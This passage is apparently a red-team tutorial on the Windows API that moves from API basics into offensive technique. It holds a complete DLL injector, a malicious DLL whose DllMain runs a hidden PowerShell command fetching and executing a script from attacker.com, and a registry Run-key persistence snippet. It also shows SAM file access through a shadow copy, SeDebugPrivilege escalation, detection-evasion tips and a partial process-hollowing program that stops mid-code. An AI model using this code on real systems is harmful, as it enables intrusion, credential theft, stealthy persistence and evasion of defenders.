Windows API (Application Programming Interface) is the set of core APIs that allow applications to interact with the Windows operating system. For red teamers and penetration testers, understanding the Windows API is critical — it enables direct OS-level manipulation for process injection, credential theft, privilege escalation, and evasion techniques.
1. What is Windows API
What it means: The Windows API is a collection of functions, structures, and constants exported by the Windows kernel and system libraries that allow developers and attackers to directly manipulate OS behavior — processes, memory, files, tokens, registry, and network connections — bypassing normal user-mode restrictions.
Why Windows API Matters for Red Teamers
Traditional User-Mode Approach:
Command → Process Creation → Parent Process Monitoring (ESC can detect)
Direct Windows API Approach:
P/Invoke/LoadLibrary → Kernel Functions → Direct Syscalls
Bypasses: Command line logging, parent process chain analysis,
common behavior signatures
Three Core API Categories
Kernel32.dll → Process, memory, thread, file operations
Advapi32.dll → Registry, security, token manipulation, service control
Ntdll.dll → Native syscalls (lowest level, direct kernel access)
API Call Flow (Simplified)
Your Code (Managed/Unmanaged)
↓
Call Windows API Function (e.g., CreateProcessA)
↓
Kernel32.dll (user-mode wrapper)
↓
Syscall (transition to kernel mode)
↓
Windows Kernel (ntoskrnl.exe)
↓
System Action (process created, memory allocated, etc.)
↓
Return to User-Mode
API Declaration Formats
Each API has a C/C++ declaration, a P/Invoke signature (C#), and a ctypes signature (Python):
// C/C++ Declaration (from Windows SDK)
BOOL CreateProcessA(
LPCSTR lpApplicationName,
LPSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCSTR lpCurrentDirectory,
LPSTARTUPINFOA lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
2. API Fundamentals & Concepts
2.1 Handles & Return Values
Handle: An opaque reference to a kernel object (process, thread, file, etc.)
// Handle = unique identifier for kernel object
HANDLE hProcess = OpenProcess(
PROCESS_ALL_ACCESS, // Desired access
FALSE, // Inherit handle
dwProcessId // Process ID
);
// Check if handle is valid
if (hProcess == NULL || hProcess == INVALID_HANDLE_VALUE) {
printf("Failed to open process: %d\n", GetLastError());
return;
}
// Use the handle
// ...
// Always close handles to avoid handle leaks
CloseHandle(hProcess);
2.2 Data Types
Common Windows API Data Types:
| Type | C/C++ | Meaning |
|---|---|---|
| DWORD | unsigned int (32-bit) | 32-bit unsigned integer |
| HANDLE | void* | Opaque reference to kernel object |
| LPVOID | void* | Long Pointer to Void (generic pointer) |
| LPCSTR | const char* | Long Pointer to Const String (ANSI) |
| LPCWSTR | const wchar_t* | Long Pointer to Const Wide String (Unicode) |
| BOOL | int | Boolean (non-zero = TRUE, 0 = FALSE) |
| SIZE_T | unsigned long | Platform-dependent size (32/64-bit) |
| PROCESS_INFORMATION | struct | Contains hProcess, hThread, dwProcessId, dwThreadId |
| STARTUPINFO | struct | Defines new process window/handle inheritance |
2.3 Structures (Critical for Red Team APIs)
PROCESS_INFORMATION — Returned by CreateProcess*
typedef struct _PROCESS_INFORMATION {
HANDLE hProcess; // Process handle
HANDLE hThread; // Primary thread handle
DWORD dwProcessId; // Process ID
DWORD dwThreadId; // Primary thread ID
} PROCESS_INFORMATION;
STARTUPINFO — Controls new process startup
typedef struct _STARTUPINFOA {
DWORD cb; // Size of structure
LPSTR lpReserved; // Reserved
LPSTR lpDesktop; // Desktop name
LPSTR lpTitle; // Window title
DWORD dwX; // X coordinate
DWORD dwY; // Y coordinate
DWORD dwXSize; // Width
DWORD dwYSize; // Height
DWORD dwXCountChars; // Buffer width
DWORD dwYCountChars; // Buffer height
DWORD dwFillAttribute; // Text/background color
DWORD dwFlags; // Startup flags (STARTF_*)
WORD wShowWindow; // Show window mode
WORD cbReserved2; // Reserved
LPBYTE lpReserved2; // Reserved
HANDLE hStdInput; // Stdin handle
HANDLE hStdOutput; // Stdout handle
HANDLE hStdError; // Stderr handle
} STARTUPINFOA;
2.4 Error Handling with GetLastError()
// Always check return values and use GetLastError() for diagnostics
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (hProcess == NULL) {
DWORD dwError = GetLastError();
printf("OpenProcess failed with error code: %d\n", dwError);
// Error codes:
// 5 = ERROR_ACCESS_DENIED (insufficient privilege)
// 87 = ERROR_INVALID_PARAMETER (bad argument)
// 1314 = ERROR_PRIVILEGE_NOT_HELD (SeDebugPrivilege required)
}
2.5 Access Rights & Masks
Process Access Rights:
#define PROCESS_TERMINATE 0x0001 // Terminate process
#define PROCESS_CREATE_THREAD 0x0002 // Create threads
#define PROCESS_SET_SESSIONID 0x0004 // Set session ID
#define PROCESS_VM_OPERATION 0x0008 // Virtual memory operations
#define PROCESS_VM_READ 0x0010 // Read memory
#define PROCESS_VM_WRITE 0x0020 // Write memory
#define PROCESS_DUP_HANDLE 0x0040 // Duplicate handles
#define PROCESS_CREATE_PROCESS 0x0080 // Create child process
#define PROCESS_SET_QUOTA 0x0100 // Set quotas
#define PROCESS_SET_INFORMATION 0x0200 // Set process info
#define PROCESS_QUERY_INFORMATION 0x0400 // Query process info
#define PROCESS_SUSPEND_RESUME 0x0800 // Suspend/resume
#define SYNCHRONIZE 0x100000 // Synchronize
#define PROCESS_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xFFFF)
// Common combinations:
PROCESS_QUERY_INFORMATION | PROCESS_VM_READ // Read-only memory access
PROCESS_VM_OPERATION | PROCESS_VM_WRITE // Write to memory
PROCESS_ALL_ACCESS // Full access
3. Process & Memory Management APIs
3.1 CreateProcessA / CreateProcessW
Purpose: Create a new process (ANSI or Unicode variant)
// ANSI Version (legacy, CPTS era)
BOOL CreateProcessA(
LPCSTR lpApplicationName, // Executable path (NULL = use cmdline)
LPSTR lpCommandLine, // Command line arguments
LPSECURITY_ATTRIBUTES lpProcessAttributes, // Process security (NULL = default)
LPSECURITY_ATTRIBUTES lpThreadAttributes, // Thread security (NULL = default)
BOOL bInheritHandles, // Inherit parent handles
DWORD dwCreationFlags, // Creation flags (CREATE_SUSPENDED, CREATE_NO_WINDOW, etc)
LPVOID lpEnvironment, // Environment variables (NULL = inherit)
LPCSTR lpCurrentDirectory, // Working directory (NULL = inherit)
LPSTARTUPINFOA lpStartupInfo, // Startup info (console, window, etc)
LPPROCESS_INFORMATION lpProcessInformation // Returns process/thread handles
);
// Return value: TRUE = success, FALSE = failure
// On failure, use GetLastError() to get error code
Practical Example — Process Creation:
#include <Windows.h>
#include <stdio.h>
int main() {
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE; // Hidden window
// Create process
BOOL bSuccess = CreateProcessA(
NULL, // App name (use cmd line instead)
(LPSTR)"cmd.exe /c whoami", // Command line (must be non-const for unicode)
NULL, // Process security
NULL, // Thread security
FALSE, // Inherit handles
CREATE_NO_WINDOW, // Creation flags
NULL, // Environment
NULL, // Working directory
&si, // Startup info
&pi // Process info (output)
);
if (!bSuccess) {
printf("CreateProcessA failed: %d\n", GetLastError());
return 1;
}
printf("Process created: PID=%d\n", pi.dwProcessId);
// Wait for process to complete
WaitForSingleObject(pi.hProcess, INFINITE);
// Get exit code
DWORD dwExitCode = 0;
GetExitCodeProcess(pi.hProcess, &dwExitCode);
printf("Process exited with code: %d\n", dwExitCode);
// Close handles
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}
Red Team Use Cases:
- Spawn hidden processes (CREATE_NO_WINDOW flag)
- Process hollowing (CREATE_SUSPENDED + ResumeThread after injection)
- Detached processes (CREATE_NEW_PROCESS_GROUP | CREATE_NEW_CONSOLE)
- Bypass parent process monitoring via alternate execution methods
3.2 OpenProcess / GetCurrentProcess
Purpose: Obtain handle to existing process
HANDLE OpenProcess(
DWORD dwDesiredAccess, // Access rights (PROCESS_ALL_ACCESS, etc)
BOOL bInheritHandle, // Inherit in child processes
DWORD dwProcessId // PID to open
);
// Red team example: Open target process for memory manipulation
HANDLE hProcess = OpenProcess(
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
FALSE,
dwTargetPid
);
if (hProcess == NULL) {
DWORD dwError = GetLastError();
if (dwError == 5) {
printf("Access denied — check privileges and UAC\n");
} else if (dwError == 1314) {
printf("SeDebugPrivilege required\n");
}
}
// Get current process handle (always succeeds, never close)
HANDLE hCurrentProcess = GetCurrentProcess(); // Returns pseudo-handle
3.3 VirtualAllocEx / WriteProcessMemory / ReadProcessMemory
Purpose: Allocate memory in target process and read/write to it
// Allocate memory in target process
LPVOID lpRemoteBuffer = VirtualAllocEx(
hProcess, // Target process handle
NULL, // Desired address (NULL = let OS choose)
4096, // Size to allocate
MEM_COMMIT | MEM_RESERVE, // Allocation type
PAGE_EXECUTE_READWRITE // Protection (RWX for code injection)
);
if (lpRemoteBuffer == NULL) {
printf("VirtualAllocEx failed: %d\n", GetLastError());
}
// Write shellcode/DLL path to target process
BYTE shellcode[] = {0x90, 0x90, 0xCC}; // NOP, NOP, INT3
SIZE_T bytesWritten = 0;
BOOL bSuccess = WriteProcessMemory(
hProcess, // Target process
lpRemoteBuffer, // Remote address
shellcode, // Local buffer
sizeof(shellcode), // Bytes to write
&bytesWritten // Bytes actually written
);
if (!bSuccess || bytesWritten != sizeof(shellcode)) {
printf("WriteProcessMemory failed: %d\n", GetLastError());
}
// Read memory from target process
BYTE buffer[1024] = {0};
SIZE_T bytesRead = 0;
bSuccess = ReadProcessMemory(
hProcess, // Target process
lpRemoteBuffer, // Remote address
buffer, // Local buffer
sizeof(buffer), // Bytes to read
&bytesRead // Bytes actually read
);
// Memory protection flags (critical for red team)
// PAGE_EXECUTE = Code execution only
// PAGE_EXECUTE_READ = Code + read (typical for .text section)
// PAGE_EXECUTE_READWRITE = Code + read + write (for inline hooks)
// PAGE_READWRITE = Read + write (typical for .data section)
// PAGE_NOACCESS = No access (detection evasion)
Attack Pattern — DLL Injection via Memory Write:
1. OpenProcess(target_pid)
2. VirtualAllocEx(hProcess, size=PATH_TO_DLL)
3. WriteProcessMemory(hProcess, lpRemoteBuffer, "C:\\path\\to\\malicious.dll")
4. CreateRemoteThread(hProcess, lpRemoteBuffer) ← Execute LoadLibraryA in target
5. CloseHandle(hProcess)
3.4 VirtualFreeEx / VirtualQueryEx
Purpose: Free/query memory in target process
// Free allocated memory
BOOL bSuccess = VirtualFreeEx(
hProcess, // Target process
lpRemoteBuffer, // Address to free
0, // Size (must be 0 for MEM_RELEASE)
MEM_RELEASE // Operation (MEM_RELEASE or MEM_DECOMMIT)
);
// Query memory information (detect injected regions)
MEMORY_BASIC_INFORMATION mbi = {0};
SIZE_T result = VirtualQueryEx(
hProcess, // Target process
lpAddress, // Address to query
&mbi, // Output structure
sizeof(mbi) // Size of structure
);
// mbi.State → MEM_COMMIT, MEM_RESERVE, MEM_FREE
// mbi.Protect → PAGE_EXECUTE_READWRITE, etc
// mbi.Type → MEM_IMAGE, MEM_MAPPED, MEM_PRIVATE
4. Thread & Synchronization APIs
4.1 CreateRemoteThread
Purpose: Execute code in target process by creating thread at arbitrary address
HANDLE CreateRemoteThread(
HANDLE hProcess, // Target process handle
LPSECURITY_ATTRIBUTES lpThreadAttributes, // Thread security (NULL = default)
SIZE_T dwStackSize, // Stack size (0 = default)
LPTHREAD_START_ROUTINE lpStartAddress, // Thread start function (shellcode addr)
LPVOID lpParameter, // Parameter to pass to function
DWORD dwCreationFlags, // Creation flags (0 or CREATE_SUSPENDED)
LPDWORD lpThreadId // Output thread ID
);
// Red team usage pattern
typedef HMODULE (WINAPI *pLoadLibraryA)(LPCSTR);
LPVOID lpDllPath = VirtualAllocEx(hProcess, NULL, strlen(dllPath) + 1,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProcess, lpDllPath, (LPVOID)dllPath, strlen(dllPath) + 1, NULL);
// Get address of LoadLibraryA in kernel32.dll (same in all processes)
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
LPVOID pLoadLibraryA = (LPVOID)GetProcAddress(hKernel32, "LoadLibraryA");
// Create thread that will execute LoadLibraryA(lpDllPath)
HANDLE hRemoteThread = CreateRemoteThread(
hProcess, // Target process
NULL, // Thread security
0, // Stack size
(LPTHREAD_START_ROUTINE)pLoadLibraryA, // LoadLibraryA address
lpDllPath, // DLL path pointer
0, // Flags (start immediately)
NULL // Thread ID (ignored)
);
if (hRemoteThread == NULL) {
printf("CreateRemoteThread failed: %d\n", GetLastError());
}
// Wait for thread to complete
WaitForSingleObject(hRemoteThread, INFINITE);
// Get thread exit code (module handle returned by LoadLibraryA)
DWORD dwExitCode = 0;
GetExitCodeThread(hRemoteThread, &dwExitCode);
printf("LoadLibraryA returned: 0x%p\n", (void*)dwExitCode);
CloseHandle(hRemoteThread);
4.2 GetThreadContext / SetThreadContext
Purpose: Read/write thread execution context (registers, flags, etc)
// Suspend thread
SuspendThread(hThread);
// Get thread context (CPU registers)
CONTEXT ctx = {0};
ctx.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS; // What to capture
if (!GetThreadContext(hThread, &ctx)) {
printf("GetThreadContext failed: %d\n", GetLastError());
}
// Access registers
printf("RIP (instruction pointer): 0x%llx\n", ctx.Rip); // x64
printf("RSP (stack pointer): 0x%llx\n", ctx.Rsp);
printf("RAX (accumulator): 0x%llx\n", ctx.Rax);
// Modify execution context (e.g., redirect execution flow)
ctx.Rip = (DWORD64)0x140001000; // Set new instruction pointer
// Write context back
if (!SetThreadContext(hThread, &ctx)) {
printf("SetThreadContext failed: %d\n", GetLastError());
}
// Resume thread with new context
ResumeThread(hThread);
Red Team Attack: Thread context hijacking for code redirection without shellcode injection.
4.3 WaitForSingleObject / WaitForMultipleObjects
Purpose: Wait for process/thread completion or synchronize execution
// Wait for single object (process/thread) to signal
DWORD dwWait = WaitForSingleObject(
hProcess, // Handle to wait on
5000 // Timeout in milliseconds (INFINITE = wait forever)
);
// Return values:
// WAIT_OBJECT_0 = object signaled (process/thread exited)
// WAIT_TIMEOUT = timeout reached
// WAIT_FAILED = error (use GetLastError())
if (dwWait == WAIT_OBJECT_0) {
printf("Process exited\n");
} else if (dwWait == WAIT_TIMEOUT) {
printf("Timeout reached\n");
}
// Wait for multiple objects
HANDLE handles[2] = {hProcess1, hProcess2};
DWORD dwWait = WaitForMultipleObjects(
2, // Number of handles
handles, // Array of handles
FALSE, // FALSE = any object, TRUE = all objects
INFINITE // Timeout
);
// Return value: WAIT_OBJECT_0 to WAIT_OBJECT_0 + (n-1) indicates which object signaled
DWORD dwIndex = dwWait - WAIT_OBJECT_0;
printf("Object %d signaled\n", dwIndex);
5. File & Registry APIs
5.1 CreateFileA / CreateFileW
Purpose: Open/create files on disk
HANDLE CreateFileA(
LPCSTR lpFileName, // File path
DWORD dwDesiredAccess, // Access mode (GENERIC_READ, GENERIC_WRITE, etc)
DWORD dwShareMode, // Share mode (FILE_SHARE_READ, FILE_SHARE_WRITE)
LPSECURITY_ATTRIBUTES lpSecurityAttributes, // Security
DWORD dwCreationDisposition, // How to create (CREATE_NEW, CREATE_ALWAYS, OPEN_EXISTING)
DWORD dwFlagsAndAttributes, // Flags (FILE_ATTRIBUTE_NORMAL, FILE_FLAG_SEQUENTIAL_SCAN)
HANDLE hTemplateFile // Template file (NULL = no template)
);
// Read-only file open
HANDLE hFile = CreateFileA(
"C:\\Windows\\System32\\config\\SAM",
GENERIC_READ, // Read access
FILE_SHARE_READ | FILE_SHARE_WRITE, // Allow others to access
NULL, // Default security
OPEN_EXISTING, // File must exist
FILE_ATTRIBUTE_NORMAL, // Normal attributes
NULL // No template
);
// Write access for creation
HANDLE hOutput = CreateFileA(
"C:\\temp\\output.txt",
GENERIC_WRITE, // Write access
0, // No sharing
NULL, // Default security
CREATE_ALWAYS, // Create new or overwrite
FILE_ATTRIBUTE_NORMAL, // Normal attributes
NULL // No template
);
// Red team usage: Open memory/recovery files for credential extraction
HANDLE hMemoryFile = CreateFileA(
"\\\\.\\HarddiskVolumeShadowCopy1\\Windows\\System32\\config\\SAM",
GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
5.2 ReadFile / WriteFile
Purpose: Read/write data from/to file handles
// Read file
BYTE buffer[1024] = {0};
DWORD dwBytesRead = 0;
BOOL bSuccess = ReadFile(
hFile, // File handle
buffer, // Output buffer
sizeof(buffer), // Bytes to read
&dwBytesRead, // Bytes actually read
NULL // Overlapped I/O (NULL = synchronous)
);
if (!bSuccess) {
printf("ReadFile failed: %d\n", GetLastError());
}
printf("Read %d bytes\n", dwBytesRead);
// Write file
BYTE data[] = "Payload data";
DWORD dwBytesWritten = 0;
bSuccess = WriteFile(
hFile, // File handle
data, // Input buffer
sizeof(data) - 1, // Bytes to write
&dwBytesWritten, // Bytes actually written
NULL // Overlapped I/O
);
// Close file handle
CloseHandle(hFile);
5.3 RegOpenKeyEx / RegQueryValueEx / RegSetValueEx
Purpose: Access Windows Registry
// Open registry key
HKEY hKey = NULL;
LONG lStatus = RegOpenKeyExA(
HKEY_LOCAL_MACHINE, // Root key (HKEY_CURRENT_USER, HKEY_CLASSES_ROOT, etc)
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", // Subkey path
0, // Reserved
KEY_READ | KEY_WRITE, // Access rights
&hKey // Output handle
);
if (lStatus != ERROR_SUCCESS) {
printf("RegOpenKeyEx failed: %d\n", lStatus);
return;
}
// Query registry value
CHAR szValue[MAX_PATH] = {0};
DWORD dwSize = sizeof(szValue);
lStatus = RegQueryValueExA(
hKey, // Registry key handle
"MyValue", // Value name
NULL, // Reserved
NULL, // Type (REG_SZ, REG_DWORD, etc)
(LPBYTE)szValue, // Output buffer
&dwSize // Buffer size / bytes read
);
if (lStatus == ERROR_SUCCESS) {
printf("Value: %s\n", szValue);
}
// Set registry value (persistence technique)
lStatus = RegSetValueExA(
hKey, // Registry key handle
"Malware", // Value name
0, // Reserved
REG_SZ, // Type (string)
(CONST BYTE*)"C:\\malware.exe", // Data
strlen("C:\\malware.exe") + 1 // Data length
);
if (lStatus == ERROR_SUCCESS) {
printf("Value set successfully\n");
}
// Enumerate registry values
DWORD dwIndex = 0;
CHAR szName[256] = {0};
CHAR szData[256] = {0};
DWORD dwNameSize = sizeof(szName);
DWORD dwDataSize = sizeof(szData);
DWORD dwType = 0;
while (RegEnumValueA(hKey, dwIndex, szName, &dwNameSize, NULL, &dwType,
(LPBYTE)szData, &dwDataSize) == ERROR_SUCCESS) {
printf("Name: %s, Type: %d, Data: %s\n", szName, dwType, szData);
dwIndex++;
dwNameSize = sizeof(szName);
dwDataSize = sizeof(szData);
}
// Close registry key
RegCloseKey(hKey);
6. Token & Privilege APIs
6.1 OpenProcessToken / GetTokenInformation
Purpose: Access process security token and retrieve privilege information
// Get access token for current process
HANDLE hToken = NULL;
if (!OpenProcessToken(
GetCurrentProcess(), // Process handle
TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, // Desired access
&hToken // Output token handle
)) {
printf("OpenProcessToken failed: %d\n", GetLastError());
}
// Query token information
DWORD dwReturnLength = 0;
// Get token type
TOKEN_TYPE tt = (TOKEN_TYPE)0;
if (!GetTokenInformation(
hToken, // Token handle
TokenType, // Information class (TokenType, TokenUser, TokenPrivileges, etc)
&tt, // Output buffer
sizeof(tt), // Buffer size
&dwReturnLength // Bytes needed
)) {
printf("GetTokenInformation failed: %d\n", GetLastError());
}
printf("Token type: %d (1=primary, 2=impersonation)\n", tt);
// Get token user (SID)
TOKEN_USER *pTokenUser = NULL;
if (!GetTokenInformation(hToken, TokenUser, NULL, 0, &dwReturnLength)) {
// Expected to fail first time to get required size
pTokenUser = (TOKEN_USER *)malloc(dwReturnLength);
}
GetTokenInformation(hToken, TokenUser, pTokenUser, dwReturnLength, &dwReturnLength);
// Convert SID to string
LPSTR szSid = NULL;
ConvertSidToStringSidA(pTokenUser->User.Sid, &szSid);
printf("Token user SID: %s\n", szSid);
// Query privileges
PTOKEN_PRIVILEGES pPrivileges = NULL;
if (!GetTokenInformation(hToken, TokenPrivileges, NULL, 0, &dwReturnLength)) {
pPrivileges = (PTOKEN_PRIVILEGES)malloc(dwReturnLength);
}
GetTokenInformation(hToken, TokenPrivileges, pPrivileges, dwReturnLength, &dwReturnLength);
printf("Privileges: %d\n", pPrivileges->PrivilegeCount);
for (DWORD i = 0; i < pPrivileges->PrivilegeCount; i++) {
CHAR szPrivilege[256] = {0};
DWORD dwNameLen = sizeof(szPrivilege);
LookupPrivilegeNameA(
NULL, // System name
&pPrivileges->Privileges[i].Luid, // LUID
szPrivilege, // Output privilege name
&dwNameLen // Buffer size
);
DWORD dwFlags = pPrivileges->Privileges[i].Attributes;
printf(" %s: %s\n", szPrivilege,
(dwFlags & SE_PRIVILEGE_ENABLED) ? "ENABLED" : "DISABLED");
}
free(pTokenUser);
free(pPrivileges);
CloseHandle(hToken);
6.2 ImpersonateLoggedOnUser / RevertToSelf
Purpose: Impersonate another user's security context
// Impersonate another user (must have their token handle)
HANDLE hUserToken = NULL; // Obtained from LogonUser or token duplication
if (!ImpersonateLoggedOnUser(hUserToken)) {
printf("ImpersonateLoggedOnUser failed: %d\n", GetLastError());
}
// Now all operations run as impersonated user
CHAR szUsername[256] = {0};
DWORD dwSize = sizeof(szUsername);
GetUserNameA(szUsername, &dwSize);
printf("Impersonated as: %s\n", szUsername);
// ... perform operations as impersonated user ...
// Revert to original security context
if (!RevertToSelf()) {
printf("RevertToSelf failed: %d\n", GetLastError());
}
GetUserNameA(szUsername, &dwSize);
printf("Reverted to: %s\n", szUsername);
6.3 AdjustTokenPrivileges
Purpose: Enable/disable privileges in access token (critical for privilege escalation)
HANDLE hToken = NULL;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
// Enable SeDebugPrivilege (allows OpenProcess with PROCESS_ALL_ACCESS on any process)
LUID luid = {0};
if (!LookupPrivilegeValueA(
NULL, // System name
"SeDebugPrivilege", // Privilege name
&luid // Output LUID
)) {
printf("LookupPrivilegeValue failed: %d\n", GetLastError());
}
TOKEN_PRIVILEGES tp = {0};
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // Enable
if (!AdjustTokenPrivileges(
hToken, // Token handle
FALSE, // Don't disable all privileges
&tp, // Token privileges
sizeof(tp), // Structure size
NULL, // Previous privileges (optional)
NULL // Previous size
)) {
printf("AdjustTokenPrivileges failed: %d\n", GetLastError());
}
printf("SeDebugPrivilege enabled\n");
// Now can open any process
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwTargetPid);
CloseHandle(hToken);
Critical Privileges for Red Teamers:
| Privilege | Name | Purpose |
|---|---|---|
| SeDebugPrivilege | SeDebugPrivilege | Open any process, inject code |
| SeImpersonatePrivilege | SeImpersonatePrivilege | Impersonate tokens (Potato attacks) |
| SeBackupPrivilege | SeBackupPrivilege | Read protected files (SAM/NTDS.dit) |
| SeRestorePrivilege | SeRestorePrivilege | Write to protected registry/files |
| SeTakeOwnershipPrivilege | SeTakeOwnershipPrivilege | Change object ownership |
| SeAssignPrimaryTokenPrivilege | SeAssignPrimaryTokenPrivilege | Assign primary token to process |
| SeSecurityPrivilege | SeSecurityPrivilege | Manage audit log |
| SeTcbPrivilege | SeTcbPrivilege | Act as part of OS (SYSTEM access) |
7. DLL Injection Techniques
7.1 Classic DLL Injection (LoadLibraryA via CreateRemoteThread)
Attack Flow:
Target Process (explorer.exe)
↓
1. OpenProcess(target_pid, PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ)
↓
2. VirtualAllocEx(hProcess, NULL, strlen(dll_path) + 1, MEM_COMMIT, PAGE_READWRITE)
↓
3. WriteProcessMemory(hProcess, lpRemoteBuffer, "C:\\malicious.dll", ...)
↓
4. GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA")
↓
5. CreateRemoteThread(hProcess, NULL, 0, pLoadLibraryA, lpRemoteBuffer, 0, NULL)
↓
6. LoadLibraryA executes in target process, loading malicious.dll
↓
7. DllMain() called with DLL_PROCESS_ATTACH
↓
8. Malicious code executes in target process context
Malicious DLL (C/C++):
#include <Windows.h>
// DLL entry point
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
// Code executes when DLL loads
// Spawn reverse shell
WinExec("powershell.exe -nop -w hidden -c 'IEX (New-Object Net.WebClient).DownloadString(\"http://attacker.com/shell.ps1\")'", SW_HIDE);
// Disable thread notifications
DisableThreadLibraryCalls(hModule);
}
return TRUE;
}
Injector Code (C/C++):
#include <Windows.h>
#include <stdio.h>
int main(int argc, char* argv[]) {
if (argc < 3) {
printf("Usage: injector.exe <PID> <DLL_PATH>\n");
return 1;
}
DWORD dwPid = atoi(argv[1]);
const char* szDllPath = argv[2];
// Open target process
HANDLE hProcess = OpenProcess(
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
FALSE,
dwPid
);
if (hProcess == NULL) {
printf("Failed to open process: %d\n", GetLastError());
return 1;
}
// Allocate memory for DLL path
LPVOID lpRemoteBuffer = VirtualAllocEx(
hProcess,
NULL,
strlen(szDllPath) + 1,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
if (lpRemoteBuffer == NULL) {
printf("VirtualAllocEx failed: %d\n", GetLastError());
CloseHandle(hProcess);
return 1;
}
// Write DLL path to target process
if (!WriteProcessMemory(hProcess, lpRemoteBuffer, (LPVOID)szDllPath, strlen(szDllPath) + 1, NULL)) {
printf("WriteProcessMemory failed: %d\n", GetLastError());
VirtualFreeEx(hProcess, lpRemoteBuffer, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}
// Get LoadLibraryA address
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
LPVOID pLoadLibraryA = (LPVOID)GetProcAddress(hKernel32, "LoadLibraryA");
printf("pLoadLibraryA: 0x%p\n", pLoadLibraryA);
// Create remote thread
HANDLE hRemoteThread = CreateRemoteThread(
hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)pLoadLibraryA,
lpRemoteBuffer,
0,
NULL
);
if (hRemoteThread == NULL) {
printf("CreateRemoteThread failed: %d\n", GetLastError());
VirtualFreeEx(hProcess, lpRemoteBuffer, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}
printf("Remote thread created, waiting for completion...\n");
WaitForSingleObject(hRemoteThread, INFINITE);
DWORD dwExitCode = 0;
GetExitCodeThread(hRemoteThread, &dwExitCode);
printf("LoadLibraryA returned: 0x%p (module handle)\n", (void*)dwExitCode);
// Cleanup
VirtualFreeEx(hProcess, lpRemoteBuffer, 0, MEM_RELEASE);
CloseHandle(hRemoteThread);
CloseHandle(hProcess);
printf("Injection complete!\n");
return 0;
}
Detection Evasion Tips:
- Use CREATE_SUSPENDED flag to avoid detection between injection and thread resume
- Allocate memory with PAGE_NOACCESS first, then VirtualProtectEx to PAGE_EXECUTE_READWRITE just before execution
- Use alternative APIs (NtCreateThreadEx, RtlCreateUserThread) instead of CreateRemoteThread
- Inject into processes that normally load external DLLs (explorer.exe, svchost.exe, etc)
8. Process Injection via Process Hollowing
8.1 Process Hollowing / Runpe Attack
Attack Flow:
1. CreateProcessA(..., CREATE_SUSPENDED)
↓
2. Unmap legitimate process image via NtUnmapViewOfSection
↓
3. Allocate new memory at original entry point
↓
4. Write malicious PE (EXE) to new memory location
↓
5. Update process entry point (RIP register)
↓
6. ResumeThread(hRemoteThread)
↓
7. Process executes malicious payload instead of legitimate binary
C/C++ Implementation:
#include <Windows.h>
#include <stdio.h>
typedef NTSTATUS(NTAPI* pNtUnmapViewOfSection)(HANDLE, PVOID);
int main(int argc, char* argv[]) {
if (argc < 3) {
printf("Usage: hollower.exe <TARGET_EXE> <PAYLOAD_EXE>\n");
return 1;
}
const char* szTargetExe = argv[1];
const char* szPayloadExe = argv[2];
// Read payload EXE into memory
HANDLE hPayloadFile = CreateFileA(szPayloadExe, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
DWORD dwPayloadSize = GetFileSize(hPayloadFile, NULL);
BYTE* lpPayloadData = malloc(dwPayloadSize);
DWORD dwBytesRead = 0;
ReadFile(hPayloadFile, lpPayloadData, dwPayloadSize, &dwBytesRead, NULL);
CloseHandle(hPayloadFile);
printf("Payload size: %d bytes\n", dwPayloadSize);
// Create target process in suspended state
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);
if (!CreateProcessA(szTargetExe, NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
printf("CreateProcessA failed: %d\n", GetLastError());
free(lpPayloadData);
return 1;
}
printf("Target process created (PID=%d), suspended\n", pi.dwProcessId);
// Get NtUnmapViewOfSection function
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
pNtUnmapViewOfSection NtUnmapViewOfSection =
(pNtUnmapViewOfSection)GetProcAddress(hNtdll, "NtUnmapViewOfSection");
if (NtUnmapViewOfSection == NULL) {
printf("Failed to get NtUnmapViewOfSection\n");
return 1;
}
// Get target process base address (from PEB)
CONTEXT ctx = {0};
ctx.ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(pi.hThread, &ctx)) {
printf("GetThreadContext failed: %d\n", GetLastError());
return 1;
}
// Parse PE headers to get image base
IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)lpPayloadData;
IMAGE_NT_HEADERS* pNtHeaders =
